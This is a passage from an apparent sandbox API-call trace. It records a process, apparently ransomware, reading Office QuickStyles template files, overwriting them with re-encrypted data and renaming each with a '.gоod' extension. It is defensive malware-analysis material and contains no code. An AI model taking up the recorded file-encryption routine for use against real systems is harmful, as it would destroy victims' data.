lpFilePart=0x0) returned 0x4d [0270.745] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx.gоod", lpFilePart=0x0) returned 0x52 [0270.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0270.745] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\classic.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9d97830f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2397)) returned 1 [0270.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0270.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\classic.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Classic.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\classic.dotx.gоod")) returned 1 [0270.746] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx", lpFilePart=0x0) returned 0x4d [0270.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0270.746] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\default.dotx"), fInfoLevelId=0x0, lpFileInformation=0x39b0640 | out: lpFileInformation=0x39b0640*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f43)) returned 1 [0270.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0270.746] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx", lpFilePart=0x0) returned 0x4d [0270.747] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0270.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\default.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0270.747] GetFileType (hFile=0x834) returned 0x1 [0270.747] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0270.747] GetFileType (hFile=0x834) returned 0x1 [0270.747] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0270.747] ReadFile (in: hFile=0x834, lpBuffer=0x39b0a78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x39b0a78*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0270.750] CloseHandle (hObject=0x834) returned 1 [0270.751] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx", lpFilePart=0x0) returned 0x4d [0270.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0270.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\default.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0270.751] GetFileType (hFile=0x834) returned 0x1 [0270.751] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0270.751] GetFileType (hFile=0x834) returned 0x1 [0270.751] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2f43 [0270.751] WriteFile (in: hFile=0x834, lpBuffer=0x39b20b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x39b20b0*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0270.758] CloseHandle (hObject=0x834) returned 1 [0270.758] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx", lpFilePart=0x0) returned 0x4d [0270.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0270.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\default.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0270.758] GetFileType (hFile=0x834) returned 0x1 [0270.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0270.758] GetFileType (hFile=0x834) returned 0x1 [0270.758] ReadFile (in: hFile=0x834, lpBuffer=0x39b4c10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x39b4c10*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0271.712] CloseHandle (hObject=0x834) returned 1 [0271.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx", lpFilePart=0x0) returned 0x4d [0271.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0271.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\default.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0271.712] GetFileType (hFile=0x834) returned 0x1 [0271.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0271.712] GetFileType (hFile=0x834) returned 0x1 [0271.712] WriteFile (in: hFile=0x834, lpBuffer=0x37c9008*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x37c9008*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0271.712] CloseHandle (hObject=0x834) returned 1 [0271.713] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx", lpFilePart=0x0) returned 0x4d [0271.713] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx.gоod", lpFilePart=0x0) returned 0x52 [0271.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0271.713] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\default.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9e2b528d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f53)) returned 1 [0271.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0271.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\default.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\Default.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\default.dotx.gоod")) returned 1 [0271.714] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx", lpFilePart=0x0) returned 0x56 [0271.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0271.714] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesdistinctive.dotx"), fInfoLevelId=0x0, lpFileInformation=0x39bb010 | out: lpFileInformation=0x39bb010*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb5)) returned 1 [0271.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0271.715] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx", lpFilePart=0x0) returned 0x56 [0271.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0271.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesdistinctive.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0271.716] GetFileType (hFile=0x834) returned 0x1 [0271.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0271.716] GetFileType (hFile=0x834) returned 0x1 [0271.717] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0271.717] ReadFile (in: hFile=0x834, lpBuffer=0x39bb688, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x39bb688*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0271.718] CloseHandle (hObject=0x834) returned 1 [0271.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx", lpFilePart=0x0) returned 0x56 [0271.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0271.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesdistinctive.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0271.718] GetFileType (hFile=0x834) returned 0x1 [0271.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0271.718] GetFileType (hFile=0x834) returned 0x1 [0271.718] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2eb5 [0271.719] WriteFile (in: hFile=0x834, lpBuffer=0x39bc950*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x39bc950*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0271.720] CloseHandle (hObject=0x834) returned 1 [0271.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx", lpFilePart=0x0) returned 0x56 [0271.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0271.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesdistinctive.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0271.720] GetFileType (hFile=0x834) returned 0x1 [0271.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0271.720] GetFileType (hFile=0x834) returned 0x1 [0271.720] ReadFile (in: hFile=0x834, lpBuffer=0x39c0118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x39c0118*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0271.887] CloseHandle (hObject=0x834) returned 1 [0271.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx", lpFilePart=0x0) returned 0x56 [0271.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0271.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesdistinctive.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0271.887] GetFileType (hFile=0x834) returned 0x1 [0271.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0271.887] GetFileType (hFile=0x834) returned 0x1 [0271.887] WriteFile (in: hFile=0x834, lpBuffer=0x3803fc8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x3803fc8*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0271.887] CloseHandle (hObject=0x834) returned 1 [0271.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx", lpFilePart=0x0) returned 0x56 [0271.887] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx.gоod", lpFilePart=0x0) returned 0x5b [0271.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0271.888] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesdistinctive.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9e458bcf, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2ec5)) returned 1 [0271.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced990) returned 1 [0271.888] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesdistinctive.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linesdistinctive.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linesdistinctive.dotx.gоod")) returned 1 [0271.889] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx", lpFilePart=0x0) returned 0x51 [0271.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ceda10) returned 1 [0271.889] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linessimple.dotx"), fInfoLevelId=0x0, lpFileInformation=0x39f2b10 | out: lpFileInformation=0x39f2b10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f49)) returned 1 [0271.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced9d0) returned 1 [0271.890] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx", lpFilePart=0x0) returned 0x51 [0271.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0271.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linessimple.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0271.890] GetFileType (hFile=0x834) returned 0x1 [0271.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0271.890] GetFileType (hFile=0x834) returned 0x1 [0271.890] SetFilePointer (in: hFile=0x834, lDistanceToMove=4096, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x1000 [0271.890] ReadFile (in: hFile=0x834, lpBuffer=0x39f2f68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ceda38, lpOverlapped=0x0 | out: lpBuffer=0x39f2f68*, lpNumberOfBytesRead=0x20ceda38*=0x1000, lpOverlapped=0x0) returned 1 [0271.892] CloseHandle (hObject=0x834) returned 1 [0271.892] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx", lpFilePart=0x0) returned 0x51 [0271.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0271.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linessimple.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0271.892] GetFileType (hFile=0x834) returned 0x1 [0271.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0271.892] GetFileType (hFile=0x834) returned 0x1 [0271.892] SetFilePointer (in: hFile=0x834, lDistanceToMove=0, lpDistanceToMoveHigh=0x20ceda68*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x20ceda68*=0) returned 0x2f49 [0271.892] WriteFile (in: hFile=0x834, lpBuffer=0x39f4220*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x20ced958, lpOverlapped=0x0 | out: lpBuffer=0x39f4220*, lpNumberOfBytesWritten=0x20ced958*=0x10, lpOverlapped=0x0) returned 1 [0271.893] CloseHandle (hObject=0x834) returned 1 [0271.893] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx", lpFilePart=0x0) returned 0x51 [0271.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0271.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linessimple.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0271.894] GetFileType (hFile=0x834) returned 0x1 [0271.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0271.894] GetFileType (hFile=0x834) returned 0x1 [0271.894] ReadFile (in: hFile=0x834, lpBuffer=0x39f9980, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20ced9e8, lpOverlapped=0x0 | out: lpBuffer=0x39f9980*, lpNumberOfBytesRead=0x20ced9e8*=0x1000, lpOverlapped=0x0) returned 1 [0272.236] CloseHandle (hObject=0x834) returned 1 [0272.236] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx", nBufferLength=0x105, lpBuffer=0x20ced3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx", lpFilePart=0x0) returned 0x51 [0272.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced910) returned 1 [0272.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linessimple.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0272.236] GetFileType (hFile=0x834) returned 0x1 [0272.236] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20ced880) returned 1 [0272.236] GetFileType (hFile=0x834) returned 0x1 [0272.236] WriteFile (in: hFile=0x834, lpBuffer=0x37fb478*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x20ceda98, lpOverlapped=0x0 | out: lpBuffer=0x37fb478*, lpNumberOfBytesWritten=0x20ceda98*=0x1010, lpOverlapped=0x0) returned 1 [0272.237] CloseHandle (hObject=0x834) returned 1 [0272.237] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx", lpFilePart=0x0) returned 0x51 [0272.237] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx.gоod", nBufferLength=0x105, lpBuffer=0x20ced540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx.gоod", lpFilePart=0x0) returned 0x56 [0272.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20ced9d0) returned 1 [0272.237] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\linessimple.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\linessimple.dotx"), fInfoLevelId=0x0, lpFileInformation=0x20cedab0 | out: lpFileInformation=0x20cedab0*(dwFileAttributes=0x220, 